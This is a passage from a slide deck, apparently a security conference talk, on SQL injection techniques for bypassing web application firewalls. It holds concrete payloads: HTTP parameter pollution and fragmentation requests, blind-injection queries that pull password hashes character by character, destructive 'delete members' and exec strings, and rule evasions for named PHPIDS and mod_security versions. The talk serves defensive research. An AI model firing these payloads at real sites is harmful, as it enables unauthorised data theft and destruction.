  45. 45. Practice of Bypassing WAF: SQL Injection - Normalization <ul><li>Example of a vulnerability in the function of request normalization </li></ul><ul><ul><li>The following request doesn’t allow anyone to conduct an attack </li></ul></ul><ul><ul><li>/?id=1+ union+select +1,2, 3 /* </li></ul></ul><ul><ul><li>If there is a corresponding vulnerability in the WAF , this request will be successfully performed </li></ul></ul><ul><ul><li>/?id=1/*union*/ union /*select*/ select+1,2,3 /* </li></ul></ul><ul><ul><li>After being processed by WAF , the request will become </li></ul></ul><ul><ul><li>index.php?id=1/* uni X on */ union /* sel X ect */ select+1,2,3 /* </li></ul></ul><ul><ul><li>The given example works in case of cleaning of dangerous traffic, not in case of blocking the entire request or the attack source </li></ul></ul>
  46. 46. Practice of Bypassing WAF: SQL Injection – HPP ( example 1) <ul><li>Using HTTP Parameter Pollution (HPP) </li></ul><ul><ul><li>The following request doesn’t allow anyone to conduct an attack </li></ul></ul><ul><ul><li>/?id=1 ;select+1,2, 3 +from+users+where+id=1 -- </li></ul></ul><ul><ul><li>This request will be successfully performed using HPP </li></ul></ul><ul><ul><li>/?id=1 ;select+1 &id= 2, 3 +from+users+where+id=1 -- </li></ul></ul><ul><ul><li>Successful conduction of an HPP attack bypassing WAF depends on the environment of the application being attacked </li></ul></ul><ul><ul><li>OWASP EU09 Luca Carettoni, Stefano diPaola http://www.owasp.org/images/b/ba/AppsecEU09_CarettoniDiPaola_v0.8.pdf </li></ul></ul>
  47. 47. Practice of Bypassing WAF: SQL Injection – HPP <ul><li>How does it work? </li></ul>
  48. 48. Practice of Bypassing WAF: SQL Injection - HPP Technology/Environment Parameter Interpretation Example ASP.NET/IIS Concatenation by comma par1=val1,val2 ASP/IIS Concatenation by comma par1=val1,val2 PHP/APACHE The last parameter is resulting par1=val2 PHP/Zeus The last parameter is resulting par1=val2 JSP, Servlet/Apache Tomcat The first parameter is resulting par1=val1 JSP,Servlet/Oracle Application Server 10g The first parameter is resulting par1=val1 JSP,Servlet/Jetty The first parameter is resulting par1=val1 IBM Lotus Domino The first parameter is resulting par1=val1 IBM HTTP Server The last parameter is resulting par1=val2 mod_perl,libapeq2/Apache The first parameter is resulting par1=val1 Perl CGI/Apache The first parameter is resulting par1=val1 mod_perl,lib???/Apache The first parameter is resulting par1=val1 mod_wsgi (Python)/Apache An array is returned ARRAY(0x8b9058c) Pythin/Zope The first parameter is resulting par1=val1 IceWarp An array is returned ['val1','val2'] AXIS 2400 The last parameter is resulting par1=val2 Linksys Wireless-G PTZ Internet Camera Concatenation by comma par1=val1,val2 Ricoh Aficio 1022 Printer The last parameter is resulting par1=val2 webcamXP Pro The first parameter is resulting par1=val1 DBMan Concatenation by two tildes par1=val1~~val2
  49. 49. Practice of Bypassing WAF: SQL Injection – HPP ( example 2) <ul><li>Using HTTP Parameter Pollution (HPP) </li></ul><ul><ul><li>Vulnerable code </li></ul></ul><ul><ul><li>SQL=&quot; select key from table where id= &quot;+ Request.QueryString(&quot;id&quot;) </li></ul></ul><ul><ul><li>This request is successfully performed using the HPP technique </li></ul></ul><ul><ul><li>/?id=1 /**/union/* &id= */select/* &id= */pwd/* &id= */from/* &id= */users </li></ul></ul><ul><ul><li>The SQL request becomes </li></ul></ul><ul><ul><li>select key from table where id= 1 /**/ union/* , */select/* , */pwd/* , */from/* , */users </li></ul></ul><ul><ul><li>Lavakumar Kuppan, http://lavakumar.com/Split_and_Join.pdf </li></ul></ul>
  50. 50. Practice of Bypassing WAF: SQL Injection – HPF <ul><li>Using HTTP Parameter Fragmentation (HPF) </li></ul><ul><ul><li>Vulnerable code example </li></ul></ul><ul><ul><li>Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b'] ); </li></ul></ul><ul><ul><li>Query( &quot;select * from table where a=&quot; .$_GET['a']. &quot; and b=&quot; .$_GET['b']. &quot; limit &quot; .$_GET['c'] ); </li></ul></ul><ul><ul><li>The following request doesn’t allow anyone to conduct an attack </li></ul></ul><ul><ul><li>/?a=1+ union+select +1,2/* </li></ul></ul><ul><ul><li>These requests may be successfully performed using HPF </li></ul></ul><ul><ul><li>/?a=1+ union/* &b= */select+1,2 </li></ul></ul><ul><ul><li>/?a=1+ union/* &b= */select+1,pass/* &c= */from+users-- </li></ul></ul><ul><ul><li>The SQL requests become </li></ul></ul><ul><ul><li>select * from table where a= 1 union /* and b=*/ select 1,2 </li></ul></ul><ul><ul><li>select * from table where a= 1 union /* and b=*/ select 1,pass /* limit */ from users -- </li></ul></ul><ul><ul><li>http://www.webappsec.org/lists/websecurity/archive/2009-08/msg00080.html </li></ul></ul>
  51. 51. Practice of Bypassing WAF: Blind SQL Injection <ul><li>Using logical requests AND/OR </li></ul><ul><ul><li>The following requests allow one to conduct a successful attack for many WAFs </li></ul></ul><ul><ul><li>/?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>/?id=1+ and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><ul><li>Negation and inequality signs (!=, <>, <, > ) can be used instead of the equality one – It is amazing, but many WAFs miss it! </li></ul></ul><ul><ul><li>It becomes possible to exploit the vulnerability with the method of blind-SQL Injection by replacing SQL functions that get to WAF signatures with their synonyms </li></ul></ul><ul><ul><li>substring() -> mid(), substr(), etc </li></ul></ul><ul><ul><li>ascii() -> hex(), bin(), etc </li></ul></ul><ul><ul><li>benchmark() -> sleep() </li></ul></ul><ul><ul><li>The given example is valid for all WAFs whose developers aim to cover as many web-applications as possible </li></ul></ul>
  52. 52. Practice of Bypassing WAF: Blind SQL Injection <ul><ul><li>Known : </li></ul></ul><ul><ul><li>substring((select 'password'),1,1) = 0x70 </li></ul></ul><ul><ul><li>substr((select 'password'),1,1) = 0x70 </li></ul></ul><ul><ul><li>mid((select 'password'),1,1) = 0x70 </li></ul></ul><ul><ul><li>New : </li></ul></ul><ul><ul><li>strcmp(left('password',1), 0x69) = 1 </li></ul></ul><ul><ul><li>strcmp(left('password',1), 0x70) = 0 </li></ul></ul><ul><ul><li>strcmp(left('password',1), 0x71) = -1 </li></ul></ul><ul><ul><li>STRCMP( expr1,expr2 ) returns 0 if the strings are the same, -1 if the first argument is smaller than the second one, and 1 otherwise </li></ul></ul><ul><ul><li>http://dev.mysql.com/doc/refman/5.0/en/string-comparison-functions.html </li></ul></ul>
  53. 53. Practice of Bypassing WAF: Blind SQL Injection <ul><li>Blind SQL Injection doesn’t always imply use of AND/OR ! </li></ul><ul><ul><li>Vulnerable code examples </li></ul></ul><ul><ul><li>Query( &quot;select * from table where uid=&quot; .$_GET['uid'] ); </li></ul></ul><ul><ul><li>Query( &quot;select * from table where card=&quot; .$_GET['card'] ); </li></ul></ul><ul><ul><li>Exploitation examples </li></ul></ul><ul><ul><li>false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x42)%2B112233 </li></ul></ul><ul><ul><li>false: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x61)%2B112233 </li></ul></ul><ul><ul><li>true: index.php?uid=strcmp(left((select+hash+from+users+limit+0,1),1),0x62)%2B112233 </li></ul></ul><ul><ul><li>first hash character = B </li></ul></ul><ul><ul><li>false: ... </li></ul></ul><ul><ul><li>false: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6240)%2B112233 </li></ul></ul><ul><ul><li>true: index.php?uid=strcmp(left((select/**/hash/**/from/**/users/**/limit/**/0,1),2),0x6241)%2B112233 </li></ul></ul><ul><ul><li>second hash character = A </li></ul></ul>
  54. 54. Practice of Bypassing WAF: SQL Injection – Signature Bypass <ul><li>PHPIDS (0.6.1.1) – default rules </li></ul><ul><ul><li>Forbid: /?id=1+union+select+user,password+from+mysql.user+ where +user=1 </li></ul></ul><ul><ul><li>But allows: /?id=1+ union+select+user,password+from+mysql.user+limit+0,1 </li></ul></ul><ul><ul><li>Forbid: /?id=1+ OR+1=1 </li></ul></ul><ul><ul><li>But allows: / ?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>Forbid: /?id= substring ((1),1,1) </li></ul></ul><ul><ul><li>But allows: /?id= mid ((1),1,1) </li></ul></ul>
  55. 55. Practice of Bypassing WAF: SQL Injection – Signature Bypass <ul><li>Mod_Security (2.5.9) – default rules </li></ul><ul><ul><li>Forbid: /?id=1+and+ascii(lower( substring ((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><ul><li>But allows: /?id=1+and+ascii(lower( mid ((select+pwd+from+users+limit+1,1),1,1)))=74 </li></ul></ul><ul><ul><li>Forbid: /?id=1+ OR+1=1 </li></ul></ul><ul><ul><li>But allows: / ?id=1+ OR+0x50=0x50 </li></ul></ul><ul><ul><li>Forbid: /?id=1+ and+5=6 </li></ul></ul><ul><ul><li>But allows: / ?id=1+ and+5!=6 </li></ul></ul><ul><ul><li>Forbid: /?id=1 ;drop members </li></ul></ul><ul><ul><li>But allows: / ?id=1 ;delete members </li></ul></ul><ul><ul><li>And allows: /?id= (1);exec('sel'+'ect(1)'+',(xxx)from'+'yyy') </li></ul></ul>
  56. 56. Conclusions
  57. 57. SQL Injection in “wildlife” <ul><li>SQL Injection can be found even in widely known and large Internet resources </li></ul>
  58. 58. Conclusions <ul><li>SQL Injection is a gross programming error , which is widespread and very dangerous </li></ul><ul><li>WAF is not the long-expected “silver bullet” </li></ul><ul><ul><li>WAF doesn’t eliminate a vulnerability, it just partly screens the attack vector </li></ul></ul><ul><ul><li>Conceptual problems of WAF – application of the signature principle </li></ul></ul><ul><li>Correctly organized Software Development Life Cycle (SDLC) considerably reduces the probability that a vulnerability will appear in program code </li></ul><ul><li>Web application protection (and information security in whole) must be comprehensive :) </li></ul>
  59. 59. Automated Exploitation of SQL Injection <ul><ul><li>sqlmap ( http://sqlmap.sourceforge.net/ ) </li></ul></ul><ul><ul><li>Full support : MySQL, Oracle, PostgreSQL и Microsoft SQL Server </li></ul></ul><ul><ul><li>Partial support : Microsoft Access, DB2, Informix, Sybase и Interbase </li></ul></ul><ul><ul><li>sqlus ( http://sqlsus.sourceforge.net/ ) </li></ul></ul><ul><ul><li>Only MySQL support is implemented </li></ul></ul><ul><ul><li>bsqlbf-v2 ( http://code.google.com/p/bsqlbf-v2/ </li></ul></ul><ul><ul><li>It isn’t oriented on Blind SQL Injections any more . The following systems are supported: MySQL, Oracle, PostgreSQL, and Microsoft SQL Server </li></ul></ul><ul><ul><li>In view of development of new fast techniques of Blind SQL Injection exploitation in MySQL, they are going to release a corresponding proof of concept ( it will be available on http://www.milw0rm.com/papers/ ) </li></ul></ul>
  60. 60. Automatic detection of SQL Injection
  61. 61. Additional materials and references <ul><li>WASC: http://projects.webappsec.org/SQL-Injection </li></ul><ul><li>OWASP: http://www.owasp.org/index.php/SQL_Injection </li></ul><ul><ul><li>Securitylab: http://www.securitylab.ru/ </li></ul></ul><ul><ul><li>Pentestmonkey.net Cheat Sheets: http://pentestmonkey.net/ (Oracle, MSSQL, MySQL, PostgreSQL, Ingres, DB2, Informix) </li></ul></ul><ul><li>Antichat resources: </li></ul><ul><ul><li>MySQL >=4.x: https://forum.antichat.ru/threadnav43966-1-10.html </li></ul></ul><ul><ul><li>MySQL 3.x: http://forum.antichat.ru/showthread.php?t=20127 </li></ul></ul><ul><ul><li>MSSQL: http://forum.antichat.ru/thread15087.html </li></ul></ul><ul><ul><li>ORACLE: http://forum.antichat.ru/showthread.php?t=40576 </li></ul></ul><ul><ul><li>PostgreSQL: http://forum.antichat.ru/thread35599.html </li></ul></ul><ul><ul><li>MSAccess: http://forum.antichat.ru/thread50550.html </li></ul></ul>
  62. 62. Thank you for your attention ! [email_address] http://devteev.blogspot.com/

×